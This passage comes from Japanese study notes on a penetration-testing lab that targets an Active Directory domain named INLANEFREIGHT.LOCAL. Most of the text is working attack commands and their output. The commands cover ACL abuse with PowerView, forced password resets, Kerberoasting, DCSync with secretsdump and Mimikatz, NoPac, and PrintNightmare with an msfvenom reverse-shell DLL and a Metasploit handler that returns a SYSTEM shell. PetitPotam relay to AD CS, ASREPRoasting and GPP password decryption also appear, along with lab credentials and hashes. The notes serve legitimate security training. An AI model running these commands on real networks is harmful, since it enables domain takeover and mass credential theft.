    • アクセス許可/拒否/監査のどれかを示すフラグ
  3. 継承フラグ
    • 子オブジェクトにもこのACEを継承させるかどうかを指定する設定
  4. アクセスマスク(Access Mask)
    • オブジェクトに対して付与される権限を表す32ビットの値

ADUCでの確認方法(Active Directory Users and Computers)

ACE の重要性

代表的なActive Directoryオブジェクトの権限と悪用例

権限 悪用方法(PowerView例) 攻撃概要
ForceChangePassword Set-DomainUserPassword で他人のパスワードをリセット ターゲットアカウントを乗っ取るためにパスワードを強制リセットする攻撃
Add Members Add-DomainGroupMember でグループにユーザー追加 高権限グループに自分または他ユーザーを追加して権限昇格する攻撃
GenericAll パスワードリセットやグループ操作などが可能 対象オブジェクトに対する完全な制御権を得て自由に操作できる状態
GenericWrite Set-DomainObject で任意属性の書き換え 属性の書き換えによりKerberoastingや委任攻撃を仕掛ける
WriteOwner Set-DomainObjectOwner で所有者を変更 所有権を奪って自分に対するフルコントロールを後から付与できる
WriteDACL Add-DomainObjectACL でACL自体を編集 アクセス権リストを書き換えて自分や他者に権限を付与するバックドア攻撃
AllExtendedRights パスワードリセットやグループ操作に利用可能 ユーザー制御系の特権操作が可能となるため、乗っ取りや昇格が可能
AddSelf 自分を特定のグループに追加可能 自身を高権限グループに追加して権限昇格する攻撃
主に、ACL攻撃は以下のような目的で使用できる

その他の権限が出てきた時も

ACLの列挙(ACL Enumeration)

PowerViewでのACLとBloodHoundでの可視化手法

PowerViewでのACL列挙(ベストプラクティス)

ACLの一覧列挙コマンド

PS C:\htb> Find-InterestingDomainAcl

効率的なACLの列挙コマンド

1:対象ユーザー(wley)のSIDを取得

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> $sid = Convert-NameToSid wley

2:Get-DomainObjectACLで権限を絞り込み

PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} 

AceQualifier           : AccessAllowed
ObjectDN               : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : User-Force-Change-Password
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114-1176
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1181
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0
PS C:\Tools> $sid = Convert-NameToSid forend
PS C:\Tools> Get-DomainObjectACL -Identity "GPO Management" -ResolveGUIDs | ? {$_.SecurityIdentifier -eq $sid}

出力結果の見方

SecurityIdentifier に対応するユーザー(例:wley)が、ObjectDN(CN=Dana Amundsen)に対してObjectAceType(User-Force-Change-Password)・ActiveDirectoryRights(ExtendedRight)を持っている。

Get-DomainGroup によるヘルプデスク レベル 1 グループの調査

PS C:\htb> Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

PowerShellでGUIDで逆引きする

新しいPowerShellセッションを開いて実行する

PS C:\htb> $guid= "00299570-246d-11d0-a768-00aa006e0529"
PS C:\htb> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

Name              : User-Force-Change-Password
DisplayName       : Reset Password
DistinguishedName : CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
rightsGuid        : 00299570-246d-11d0-a768-00aa006e0529

PowerViewを使わないACL列挙

1:ドメインユーザー一覧を取得

PS C:\htb> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

2:各ユーザーのACLを調べるループ処理

PS C:\htb> foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {
    Get-Acl "AD:\$(Get-ADUser $line)" |
    Select-Object Path -ExpandProperty Access |
    Where-Object { $_.IdentityReference -match 'INLANEFREIGHT\\wley' }
}

まとめ
まずは「制御下に置いたユーザー」が持っているACLを特定し、どのオブジェクトに対して何ができるのかを見極める。
そこから派生して、権限の連鎖(グループ権限の継承やネスト)を辿ることで、より高い権限へとアクセスを拡大していく。

BloodHoundを使ったACL列挙

この機能を使うことで、

BloodHound上でエッジを右クリック → 「Help」メニューで得られる情報

Transitive Object Control の「16」をクリック

プリセットクエリを使用(BloodHound)

現時点での例の状況整理

ACLを悪用した権限昇格テクニック

前提

攻撃シナリオ

  1. wleyユーザーを使って、「damundsen」ユーザーのパスワードを変更
  2. damundsenユーザーとして認証し、「GenericWrite」権限を活用して、自分がコントロールするユーザーを「Help Desk Level 1」グループに追加
  3. 「Information Technology」グループ内の入れ子グループ構成を利用し、「GenericAll」権限で「adunn」ユーザーを奪取

ステップ1:damundsenユーザーのパスワード変更
PowerShellでwleyユーザーとして認証し、damundsenユーザーのパスワードを強制的に変更する

PS C:\htb> $SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) 

ターゲットであるdamundsenユーザーに設定する新しいパスワードをSecureStringとして用意

PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

PowerViewのSet-DomainUserPassword関数を使ってパスワードを変更

PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

※ちなみに、同様の操作はLinux側からでも可能

ステップ2:damundsenとしてHelp Deskグループに追加

PS C:\htb> $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
PS C:\htb> $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword) 

現在のグループメンバーを確認

PS C:\htb> Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members

damundsenをグループに追加する処理を実行

PS C:\htb> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

追加後、ちゃんと反映されたかも確認

PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

ステップ3 : Kerberoastingの準備:偽SPNの登録

adunnアカウントのservicePrincipalName属性を書き換え、任意のSPNを追加

PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap

DCSync

前提

DCSyncとは?その仕組み

攻撃に必要なもの

まず、攻撃に必要な権限アカウントが持っているかを確認する

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl

Get-ObjectAclでadunnに付与されている権限を検証

PS C:\htb> $sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
PS C:\htb> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

このコマンドの出力の中のObjectAceTypeの部分に注目する

また、ユーザーにDCSync権限を一時的に付与・削除することも可能

によるNTLMハッシュとKerberosキーの取得

snowyowl644@htb[/htb]$ secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 

以下のオプションも活用できる

リバーシブル暗号設定されたアカウントの確認

リバーシブル暗号設定されたアカウントの列挙

PS C:\htb> Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

上下どっちでもいけるので、どっちかがダメだったら、もう片方も試す

PS C:\htb> Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Mimikatz

注意点

adunnユーザーの権限を使ったPowerShellセッションを開始する

C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershell
Enter the password for INLANEFREIGHT\adunn:
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...

このセッション上でMimikatzを実行すれば、DCSync攻撃ができる

MimikatzでのDCSync実行

PS C:\htb> .\mimikatz.exe

mimikatz内のコマンド

mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

環境を支配するための一手

特権アクセス

管理者ではないユーザーアカウントでも、RDPの権限だけは持っているケースもある
このアクセス権があるだけでも、以下のような用途で非常に有効

RDP

RDPのアクセス権限の可視化

Blood Hound

BloodHoundで最初にチェックすべきこと

[Analysis]タブの活用
BloodHoundの[Analysis]タブでは、あらかじめ用意されたクエリを使って以下のような調査が可能

PowerView

PowerViewのGet-NetLocalGroupMember関数が便利
「Remote Desktop Users」グループのメンバーを列挙するコマンド

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb>

ComputerName : ACADEMY-EA-MS01
GroupName    : Remote Desktop Users
MemberName   : INLANEFREIGHT\Domain Users
SID          : S-1-5-21-3842939050-3880317879-2865463114-513
IsGroup      : True
IsDomain     : UNKNOWN

出力結果のMemberNameをみると、このホストにはドメイン内の全ユーザー(Domain Users)がRDP接続できる状態になっている
こういった設定は、「RDS(Remote Desktop Services)ホスト」や、「踏み台サーバー」として使われているマシンでよく見られる

こういったマシンは、業務的に頻繁に使われているとメタ的な視点を持つと、以下の情報も見つかる可能性があるなとか思うのかな?

全ホストに対して CanPSRemote ユーザーを列挙するスクリプト

Import-Module .\PowerView.ps1
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ($computer in $computers) {
    Write-Host "`n[*] Checking $computer..."
    try {
        Get-NetLocalGroupMember -ComputerName $computer -GroupName "Remote Management Users"
    } catch {
        Write-Warning "Failed to query $computer"
    }
}

WinRM

PowerView

Remote Management Users グループの列挙

PS C:\htb> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"

ComputerName : ACADEMY-EA-MS01
GroupName    : Remote Management Users
MemberName   : INLANEFREIGHT\forend
SID          : S-1-5-21-3842939050-3880317879-2865463114-5614
IsGroup      : False
IsDomain     : UNKNOWN

BloodHound

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

WinRMでのセッションの確立
Linux・Windows共通の「WinRM」参照

SQL Server 管理者(SQL Server Admin)

BloodHound

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

列挙したアカウントに乗り換えることができたら、次は、MSSQLに接続する

PowerUpSQL

を使ったMSSQLインスタンスの列挙

PS C:\htb> cd .\PowerUpSQL\
PS C:\htb>  Import-Module .\PowerUpSQL.ps1
PS C:\htb>  Get-SQLInstanceDomain

取得したインスタンスに対して直接認証し、カスタムクエリやOSコマンドを実行することができる

PS C:\htb>  Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'

enable_xp_cmdshell
xp_cmdshellを有効にすることで、SQL Server経由で直接Windows OSのコマンドを実行できるようにする

Get-SQLQuery -Verbose  -Instance "172.16.5.150,1433"  -username "inlanefreight\damundsen"  -password "SQL1234!"  -query "EXEC xp_cmdshell 'type C:\Users\damundsen\Desktop\flag.txt'"

を使ったMSSQLインスタンスの列挙

PowerShellと同じMSSQLインスタンスの列挙をLinux上で実行できる
ターゲットへの権限付きアクセスコマンド

snowyowl644@htb[/htb]$ mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

enable_xp_cmdshell
有効化

SQL> enable_xp_cmdshell

現在のユーザーが持っているシステム上の特権を列挙

xp_cmdshell whoami /priv

Kerberos「ダブルホップ」問題

Kerberosは「チケット方式」だから安全だけど、その分セッション内に再利用できる認証情報(パスワード相当)がないので、ログイン先で「再度どこかにアクセスしようとすると」認証できなくなる

発生しやすい場所と事象

押さえておくべきこと

問題の核心

対策

もちろん!要点を見やすく 入れ子式の箇条書き でまとめますね。重要なポイントだけをピックアップしてます:

Kerberos ダブルホップ問題の要点
• Kerberos認証はチケットベース
• 認証時に使われるのはパスワードではなく「チケット(TGT/TGS)」
• セッションに NTLMハッシュやパスワードは残らない
• ⇒ 2ホップ目のアクセス時、再認証できない

evil-winrm や PowerShell Remoting を使うと発生しやすい
• Network Logon のため、認証情報がメモリに残らない
• PowerViewなどでドメインを列挙しようとしても認証に失敗
• TGTが送られないため、DCに対して「正体」を証明できない

認証フローの違いがカギ
• TGSは送られるが、TGTは送られない
• コマンド実行はできるが、その先へのアクセスがブロックされる
• ⇒ 2台目のサーバーにアクセスできない(ダブルホップ問題)

Unconstrained Delegation(無制限委任)が有効なら問題なし
• TGTも一緒に渡される
• ターゲットホストがユーザーの代わりに他のサーバーにアクセス可能
• =「この人本物です」って代わりに言える状態
• この状態を踏めたらほぼ勝ち(横展開し放題)

回避策(Workarounds)
• ネストした Invoke-Command
• PSCredential オブジェクトを使って明示的に認証情報を渡す
• 攻撃元 → ホストA → ホストB に行く際に使える
• 使い分け
• evil-winrm セッション → スクリプトで対処
• GUIアクセスあるWindowsホスト → 普通にPowerShellで回避策実行可能

回避策

回避策①:PSCredential オブジェクトを使う方法

• evil-winrmなどでWinRMセッションに接続すると、認証情報はメモリに残らない
• そのため、ドメインコントローラー(DC)に対して再認証できず、PowerViewなどのツールが使えない
• klist で確認すると、接続先(DEV01)に対するTGSしかキャッシュされていない
• ユーザーのTGT(元になるチケット)は送られていない
• 対処法

$SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)
get-domainuser -spn -credential $Cred

• 成功すると、SPNの一覧が取得できる
• 逆に -credential をつけずに再実行すると、またエラーになる
• 補足
• RDPで直接ホストにログインした場合は、パスワードがメモリにあるため、TGTもキャッシュされていて問題なし

回避策②:PSSession構成を登録する方法(GUI PowerShell限定)
• ドメイン参加ホストやWindows攻撃ホストから、Enter-PSSession でWinRM接続する場合に使える
• 通常のWinRM接続では、HTTPサービス用のTGSしか取得されず、DCへはアクセスできない
• 対処法
• Register-PSSessionConfiguration を使って、セッション構成を登録し、指定ユーザーでRunAsする
• WinRMサービスを再起動する必要あり(その後セッション再接続)

Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
Restart-Service WinRM
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess

• この方法では、ローカルホストがリモートホストの代わりにドメインリソースへアクセスできるようになる
• TGTチケットがキャッシュされ、PowerViewなども認証情報なしで実行できる

注意点と制限
• evil-winrmセッションでは Register-PSSessionConfiguration は使えない
• GUIによる資格情報入力が必要なため
• RunAsは昇格済みPowerShellでのみ動作する
• Linux(Parrot、Ubuntu)上のPowerShellでもこの方法は動作しない(Kerberos連携の制限あり)
• 使える環境
• Windows上の攻撃用ホスト、またはRDPでアクセス可能な侵害済みホスト

その他の手法(今回は未解説)
• CredSSP
• ポートフォワーディング
• サクリフィシャルプロセス(ターゲットユーザーのプロセスへのインジェクション)

最先端の脆弱性

NoPac (Sam_The_Admin 脆弱性)

42278 42287
セキュリティアカウントマネージャ(SAM)のバイパス脆弱性 Kerberosの特権属性証明書(PAC)に関する脆弱性(Active Directory Domain Services内)

NoPacのgitのクローン

snowyowl644@htb[/htb]$ git clone https://github.com/Ridter/noPac.git

スキャナとエクスプロイトツールがある
スキャンして、実際に脆弱だったらエクスプロイトの実行をする

snowyowl644@htb[/htb]$ sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

出力結果

NoPac 実行と SYSTEMシェルの取得

smbexec.py を通じてセミインタラクティブシェルを確立する

snowyowl644@htb[/htb]$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

NoPacを使ってAdministratorアカウントをDCSyncする

snowyowl644@htb[/htb]$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

実際の処理
smbexec.py は、コマンド実行のために以下のような処理を行う

  1. 最初に BTOBTO というサービスを作成
  2. 続けて BTOBO というサービスを作成
  3. 入力したコマンドを .bat ファイル(execute.bat)に書き込み、SMB経由で送信
  4. 実行後、ファイルを削除
    つまり、すべてのコマンドは一時的なバッチファイルとして実行される仕組み

OPSEC(作戦上の安全)を重視する場合の対策

エクスプロイトの取得

snowyowl644@htb[/htb]$ git clone https://github.com/cube0x0/CVE-2021-1675.git

cube0x0版 Impacket のインストール

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Print Spooler サービスの脆弱性調査

snowyowl644@htb[/htb]$ rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 

DLLペイロードの作成

snowyowl644@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll

smbserver.py を使ってペイロードを共有

snowyowl644@htb[/htb]$ sudo smbserver.py -smb2support CompData /path/to/backupscript.dll

Metasploit で multi/handler を起動

[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

エクスプロイトの実行

snowyowl644@htb[/htb]$ sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'

ドメインコントローラーに対して SYSTEM 権限でのリモートアクセスが可能になる
ただし、成功には複数の条件(DLLの共有、プロトコルの露出、正しいImpacketの使用など)が揃っている必要があるため、各ステップを丁寧に確認しながら進める

SYSTEMシェルの取得

[*] Sending stage (200262 bytes) to 172.16.5.5
[*] Meterpreter session 1 opened (172.16.5.225:8080 -> 172.16.5.5:58048 ) at 2022-03-29 13:06:20 -0400

(Meterpreter 1)(C:\Windows\system32) > shell
Process 5912 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

PetitPotam (MS-EFSRPC)

攻撃の流れ

  1. ドメインコントローラーに、認証要求を強制送信(PetitPotamによるNTLMリレー)
  2. そのリクエストを中継して、CA(証明機関)のWeb Enrollmentページにアクセス
  3. 新しい証明書の発行を申請(CSR)
  4. 取得した証明書を使って、TGTを取得(Rubeusやgettgtpkinit.pyを利用)
  5. 最終的に、DCSync攻撃によりドメイン全体の認証情報を取得

(攻撃の準備(ntlmrelayxの起動)

snowyowl644@htb[/htb]$ sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

PetitPotamの実行

snowyowl644@htb[/htb]$ python3 PetitPotam.py 172.16.5.225 172.16.5.5       

以下のバリエーションも存在する
Mimikatz版

misc::efs /server:<DC> /connect:<攻撃ホスト>

DC01のBase64エンコード証明書をキャッチする

snowyowl644@htb[/htb]$ sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

gettgtpkinit.pyを使ってTGTを取得する

snowyowl644@htb[/htb]$ python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache

KRB5CCNAME環境変数の設定

snowyowl644@htb[/htb]$ export KRB5CCNAME=dc01.ccache

ドメインコントローラーのTGTを使ってDCSyncを実行

snowyowl644@htb[/htb]$ secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

ドメインコントローラーへの管理者アクセスの確認

snowyowl644@htb[/htb]$ crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf

成功すると、「Pwn3d!」の表示が出て、ターゲットへの完全なアクセスが確立される

getnthash.py を使ったNTハッシュの取得(U2U)

nowyowl644@htb[/htb]$ python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$

ドメインコントローラーのNTハッシュを使ってDCSync

snowyowl644@htb[/htb]$ secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba

このコマンドにより、対象アカウントの以下のような情報がダンプされる

Rubeusを使った代替手法(Windows環境)

DC01$ マシンアカウントでTGTを要求し、PTTを実行する

PowerShell から次のようにRubeusを実行する

PS C:\Tools> .\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt

TGTがメモリに存在するかを確認する

PS C:\Tools> klist

Mimikatzを使ったDCSync攻撃の実行(Windows上)

PS C:\Tools> cd .\mimikatz\x64\
PS C:\Tools\mimikatz\x64> .\mimikatz.exe
mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt

PetitPotam 対策(Mitigations)

その他の設定ミス

Microsoft Exchangeに関連するグループメンバーシップ

珍しくない設定ミス

Organization Managementの権限の確認

PrivExchange攻撃

プリンタバグ

MS14-068

LDAP認証情報のスニッフィング

DNSレコードの列挙

adidnsdumpを使ってみる

snowyowl644@htb[/htb]$ adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r

解決済みの records.csv の内容

snowyowl644@htb[/htb]$ head records.csv 

type,name,value
A,LOGISTICS,172.16.5.240
AAAA,ForestDnsZones,dead:beef::7442:c49d:e1d7:2691
AAAA,ForestDnsZones,dead:beef::231
A,ForestDnsZones,10.129.202.29
A,ForestDnsZones,172.16.5.240
A,ForestDnsZones,172.16.5.5
AAAA,DomainDnsZones,dead:beef::7442:c49d:e1d7:2691
AAAA,DomainDnsZones,dead:beef::231
A,DomainDnsZones,10.129.202.29

説明欄に書かれたパスワード

Get-DomainUserで説明欄からパスワードを探す例

PS C:\htb> Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}

samaccountname description
-------------- -----------
administrator  Built-in account for administering the computer/domain
guest          Built-in account for guest access to the computer/domain
krbtgt         Key Distribution Center Service Account
ldap.agent     *** DO NOT CHANGE ***  3/12/2012: Sunsh1ne4All!

PASSWD_NOTREQDフラグの設定

Get-DomainUserでPASSWD_NOTREQDを確認する

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

samaccountname                                                         useraccountcontrol
--------------                                                         ------------------
guest                ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
mlowe                                PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ehamilton                            PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
$725000-9jb50uejje9f                       ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT
nagiosagent                                                PASSWD_NOTREQD, NORMAL_ACCOUNT

SMBやSYSVOLスクリプトに含まれる認証情報

興味深いスクリプトを発見する

PS C:\htb> ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts

グループポリシー設定(GPP)によるパスワードの漏洩

gpp-decryptでパスワードを復号する

snowyowl644@htb[/htb]$ gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE

Password1

GPPパスワードの探索と取得

CrackMapExecのGPPに関連するモジュール

gpp_autologinを利用した認証情報取得

すでに取得した認証情報を利用して、検索を行う

snowyowl644@htb[/htb]$ crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin

ASREPRoasting (事前認証なしKerberosアカウントの攻撃)

Kerberosの事前認証(Pre Authentication)の仕組み

ASREPRoastingとは

事前認証不要アカウントの列挙

PS C:\htb> Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

samaccountname     : mmorgan
userprincipalname  : mmorgan@inlanefreight.local
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH

Rubeusを使ってAS-REPを取得(Hashcat形式)

PS C:\htb> .\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat

hashcatを使用してハッシュをクラックする

snowyowl644@htb[/htb]$ hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt 

Kerbruteを使ったAS-REPの自動取得(ユーザー列挙+ハッシュ収集)

snowyowl644@htb[/htb]$ kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

ImpacketのGetNPUsers.pyでAS-REP取得(Linux環境)

snowyowl644@htb[/htb]$ GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users 

GPO(グループポリシーオブジェクト)の悪用

GPOの誤設定を悪用してできること(一例)

GPOの列挙

モジュール内で使用しているPowerViewやBloodHoundを使えば、GPOに関する情報を列挙できる
他にも group3r, ADRecon, PingCastle なども、GPOのセキュリティ監査に役立つツール

PS C:\htb> Get-DomainGPO |select displayname

displayname
-----------
Default Domain Policy
Default Domain Controllers Policy
Deny Control Panel Access
Disallow LM Hash
Deny CMD Access
Disable Forced Restarts
Block Removable Media
Disable Guest Account
Service Accounts Password Policy
Logon Banner
Disconnect Idle RDP
Disable NetBIOS
AutoLogon
GuardAutoLogon
Certificate Services

この一覧から、たとえば「cmd.exeの使用禁止」や「サービスアカウント用のパスワードポリシー」などのセキュリティ方針が垣間見える
また「AutoLogon」GPOが存在することから、GPO内に平文パスワードが含まれている可能性も考えられる

組み込みの PowerShell Cmdlet を使った列挙

PS C:\htb> Get-GPO -All | Select DisplayName

GPOに対する権限の調査

PowerViewを使ったGPOのACLチェック

PS C:\htb> $sid=Convert-NameToSid "Domain Users"
PS C:\htb> Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

ObjectDN              : CN={7CA9C789-14CE-46E3-A722-83F4097AF532},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ObjectSID             :
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, Delete, GenericExecute, WriteDacl,
                        WriteOwner
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 983095
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-513
AceType               : AccessAllowed
AceFlags              : ObjectInherit, ContainerInherit
IsInherited           : False
InheritanceFlags      : ContainerInherit, ObjectInherit
PropagationFlags      : None
AuditFlags            : None

ここでは、「Domain Users」が該当のGPOに対してWritePropertyWriteDacl などの強力な権限を持っていることが分かる

GPO GUID からGPO名への変換

PS C:\htb Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532

GPO誤設定の悪用(SharpGPOAbuse使用)

まとめ

ドメインの信頼関係

シナリオ

概要

ドメイントラストとは?

トラストの方向

トラストの種類


トラストの特性

トラストの比較

トランジティブ Transitive(移譲可能) ノン・トランジティブ Non-Transitive(移譲不可)
共有される、一対多の信頼関係 直接的なトラストのみ
フォレスト内のすべてのドメインと信頼を共有 次の階層の子ドメインには信頼を拡張しない
フォレストトラスト、ツリールートトラスト、親子トラスト、クロスリンクトラストなどが該当 外部トラストやカスタム設定のトラストに多い
イメージで理解する:荷物の受け取り例

セキュリティ上の注意点

攻撃の一例
• 攻撃者は、あなたの会社そのものではなく、買収した別会社のシステムを狙うことで、間接的に侵入を試みることがある

トラスト関係の列挙

ドメイン間のトラスト(信頼関係)を調査するには、PowerShell の Get-ADTrust コマンドレットを使用できる

PS C:\htb> Import-Module activedirectory
PS C:\htb> Get-ADTrust -Filter *

出力の見るところ

トラスト情報から見た攻撃面の要注意ポイント

Direction: BiDirectional

ForestTransitive: True

SelectiveAuthentication: False

SIDFilteringQuarantined / SIDFilteringForestAware: False

TGTDelegation: False ← 一見安全に見えるが…

TrustType: Uplevel

攻撃に使える可能性があるツール

PowerView

現在のドメインに存在するトラスト関係を一覧表示できる

PS C:\htb> import-module .\PowerView.ps1
PS C:\htb> Get-DomainTrust 

